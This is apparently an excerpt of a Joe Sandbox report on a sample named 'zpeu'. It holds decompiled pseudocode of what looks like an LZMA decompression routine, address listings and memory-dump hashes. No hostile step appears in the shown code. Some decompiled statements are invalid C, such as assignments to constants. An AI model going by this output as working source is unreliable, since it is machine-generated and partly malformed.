                                      								_t535 = _t534 | 0xffffffff;
                                      								goto L172;
                                      							}
                                      						}
                                      						__eax =  *(__ebp - 0x50);
                                      						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      						__eax =  *(__ebp - 0x58);
                                      						__esi = __edx + __eax;
                                      						 *(__ebp - 0x54) = __esi;
                                      						__ax =  *__esi;
                                      						__edi = __ax & 0x0000ffff;
                                      						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      						if( *(__ebp - 0xc) >= __ecx) {
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      							__cx = __ax;
                                      							__cx = __ax >> 5;
                                      							__eax = __eax - __ecx;
                                      							__edx = __edx + 1;
                                      							 *__esi = __ax;
                                      							 *(__ebp - 0x50) = __edx;
                                      						} else {
                                      							 *(__ebp - 0x10) = __ecx;
                                      							0x800 = 0x800 - __edi;
                                      							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      							 *__esi = __cx;
                                      						}
                                      						if( *(__ebp - 0x10) >= 0x1000000) {
                                      							goto L148;
                                      						} else {
                                      							goto L146;
                                      						}
                                      					}
                                      					goto L1;
                                      				}
                                      			}








                                      0x00000000
                                      0x00406f8c
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb5
                                      0x00406fbf
                                      0x00000000
                                      0x00406f92
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00407080
                                      0x00407080
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x0040703e
                                      0x004067da
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x00000000
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
                                      0x00000000
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x00000000
                                      0x004071c6
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00407038
                                      0x00407038
                                      0x00000000
                                      0x00000000
                                      0x00406956
                                      0x00406958
                                      0x0040695b
                                      0x004069cc
                                      0x004069cf
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00000000
                                      0x004069e3
                                      0x0040695d
                                      0x00406961
                                      0x00406964
                                      0x00406966
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x0040697e
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406993
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a3
                                      0x004069a6
                                      0x004069c4
                                      0x004069c6
                                      0x00000000
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069ae
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00000000
                                      0x004069bf
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00000000
                                      0x00000000
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c86
                                      0x00406c89
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c65
                                      0x00406c68
                                      0x00406c6b
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406c7e
                                      0x00000000
                                      0x00000000
                                      0x00406ca2
                                      0x00406ca6
                                      0x00000000
                                      0x00000000
                                      0x00406cac
                                      0x00406cb0
                                      0x00000000
                                      0x00000000
                                      0x00406cb6
                                      0x00406cb8
                                      0x00406cbc
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00000000
                                      0x00000000
                                      0x00406d13
                                      0x00406d17
                                      0x00406d1e
                                      0x00406d21
                                      0x00406d24
                                      0x00406d2e
                                      0x00000000
                                      0x00406d2e
                                      0x00406d19
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00000000
                                      0x00407079
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x00000000
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x004071dc
                                      0x004071e2
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x004071f4
                                      0x004071f8
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x0040703e
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x0040711b
                                      0x00000000
                                      0x00406f90

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fe4323228985bcba61e3bbbb9c9244f74905e05ece4cf1ab09c593cabe40b1c4
                                      • Instruction ID: 8e32eb5403c84004d501a5d2bb1c7049f427415ce0bc154380a8816354db292b
                                      • Opcode Fuzzy Hash: fe4323228985bcba61e3bbbb9c9244f74905e05ece4cf1ab09c593cabe40b1c4
                                      • Instruction Fuzzy Hash: AE914271E04228CBDF28CF98C8547ADBBB1FF44305F14816AD856BB281C778AA86DF45
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406CA2() {
                                      				unsigned short _t532;
                                      				signed int _t533;
                                      				void _t534;
                                      				void* _t535;
                                      				signed int _t536;
                                      				signed int _t565;
                                      				signed int _t568;
                                      				signed int _t589;
                                      				signed int* _t606;
                                      				void* _t613;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t613 - 0x40) != 0) {
                                      						L89:
                                      						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
                                      						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
                                      						L69:
                                      						_t606 =  *(_t613 - 0x58);
                                      						 *(_t613 - 0x84) = 0x12;
                                      						L132:
                                      						 *(_t613 - 0x54) = _t606;
                                      						L133:
                                      						_t532 =  *_t606;
                                      						_t589 = _t532 & 0x0000ffff;
                                      						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                      						if( *(_t613 - 0xc) >= _t565) {
                                      							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                      							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                      							 *(_t613 - 0x40) = 1;
                                      							_t533 = _t532 - (_t532 >> 5);
                                      							 *_t606 = _t533;
                                      						} else {
                                      							 *(_t613 - 0x10) = _t565;
                                      							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      							 *_t606 = (0x800 - _t589 >> 5) + _t532;
                                      						}
                                      						if( *(_t613 - 0x10) >= 0x1000000) {
                                      							L139:
                                      							_t534 =  *(_t613 - 0x84);
                                      							L140:
                                      							 *(_t613 - 0x88) = _t534;
                                      							goto L1;
                                      						} else {
                                      							L137:
                                      							if( *(_t613 - 0x6c) == 0) {
                                      								 *(_t613 - 0x88) = 5;
                                      								goto L170;
                                      							}
                                      							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                      							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      							goto L139;
                                      						}
                                      					} else {
                                      						if( *(__ebp - 0x60) == 0) {
                                      							L171:
                                      							_t536 = _t535 | 0xffffffff;
                                      							L172:
                                      							return _t536;
                                      						}
                                      						__eax = 0;
                                      						_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                      						0 | _t258 = _t258 + _t258 + 9;
                                      						 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                      						L75:
                                      						if( *(__ebp - 0x64) == 0) {
                                      							 *(__ebp - 0x88) = 0x1b;
                                      							L170:
                                      							_t568 = 0x22;
                                      							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                      							_t536 = 0;
                                      							goto L172;
                                      						}
                                      						__eax =  *(__ebp - 0x14);
                                      						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      						if(__eax >=  *(__ebp - 0x74)) {
                                      							__eax = __eax +  *(__ebp - 0x74);
                                      						}
                                      						__edx =  *(__ebp - 8);
                                      						__cl =  *(__eax + __edx);
                                      						__eax =  *(__ebp - 0x14);
                                      						 *(__ebp - 0x5c) = __cl;
                                      						 *(__eax + __edx) = __cl;
                                      						__eax = __eax + 1;
                                      						__edx = 0;
                                      						_t274 = __eax %  *(__ebp - 0x74);
                                      						__eax = __eax /  *(__ebp - 0x74);
                                      						__edx = _t274;
                                      						__eax =  *(__ebp - 0x68);
                                      						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      						_t283 = __ebp - 0x64;
                                      						 *_t283 =  *(__ebp - 0x64) - 1;
                                      						 *( *(__ebp - 0x68)) = __cl;
                                      						L79:
                                      						 *(__ebp - 0x14) = __edx;
                                      						L80:
                                      						 *(__ebp - 0x88) = 2;
                                      					}
                                      					L1:
                                      					_t535 =  *(_t613 - 0x88);
                                      					if(_t535 > 0x1c) {
                                      						goto L171;
                                      					}
                                      					switch( *((intOrPtr*)(_t535 * 4 +  &M004071F9))) {
                                      						case 0:
                                      							if( *(_t613 - 0x6c) == 0) {
                                      								goto L170;
                                      							}
                                      							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      							_t535 =  *( *(_t613 - 0x70));
                                      							if(_t535 > 0xe1) {
                                      								goto L171;
                                      							}
                                      							_t539 = _t535 & 0x000000ff;
                                      							_push(0x2d);
                                      							asm("cdq");
                                      							_pop(_t570);
                                      							_push(9);
                                      							_pop(_t571);
                                      							_t609 = _t539 / _t570;
                                      							_t541 = _t539 % _t570 & 0x000000ff;
                                      							asm("cdq");
                                      							_t604 = _t541 % _t571 & 0x000000ff;
                                      							 *(_t613 - 0x3c) = _t604;
                                      							 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                      							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
                                      							_t612 = (0x300 << _t604 + _t609) + 0x736;
                                      							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                      								L10:
                                      								if(_t612 == 0) {
                                      									L12:
                                      									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                      									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      									goto L15;
                                      								} else {
                                      									goto L11;
                                      								}
                                      								do {
                                      									L11:
                                      									_t612 = _t612 - 1;
                                      									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                      								} while (_t612 != 0);
                                      								goto L12;
                                      							}
                                      							if( *(_t613 - 4) != 0) {
                                      								GlobalFree( *(_t613 - 4)); // executed
                                      							}
                                      							_t535 = GlobalAlloc(0x40, 0x600); // executed
                                      							 *(_t613 - 4) = _t535;
                                      							if(_t535 == 0) {
                                      								goto L171;
                                      							} else {
                                      								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                      								goto L10;
                                      							}
                                      						case 1:
                                      							L13:
                                      							__eflags =  *(_t613 - 0x6c);
                                      							if( *(_t613 - 0x6c) == 0) {
                                      								 *(_t613 - 0x88) = 1;
                                      								goto L170;
                                      							}
                                      							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                      							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      							_t45 = _t613 - 0x48;
                                      							 *_t45 =  *(_t613 - 0x48) + 1;
                                      							__eflags =  *_t45;
                                      							L15:
                                      							if( *(_t613 - 0x48) < 4) {
                                      								goto L13;
                                      							}
                                      							_t547 =  *(_t613 - 0x40);
                                      							if(_t547 ==  *(_t613 - 0x74)) {
                                      								L20:
                                      								 *(_t613 - 0x48) = 5;
                                      								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                      								goto L23;
                                      							}
                                      							 *(_t613 - 0x74) = _t547;
                                      							if( *(_t613 - 8) != 0) {
                                      								GlobalFree( *(_t613 - 8)); // executed
                                      							}
                                      							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                      							 *(_t613 - 8) = _t535;
                                      							if(_t535 == 0) {
                                      								goto L171;
                                      							} else {
                                      								goto L20;
                                      							}
                                      						case 2:
                                      							L24:
                                      							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                      							 *(_t613 - 0x84) = 6;
                                      							 *(_t613 - 0x4c) = _t554;
                                      							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
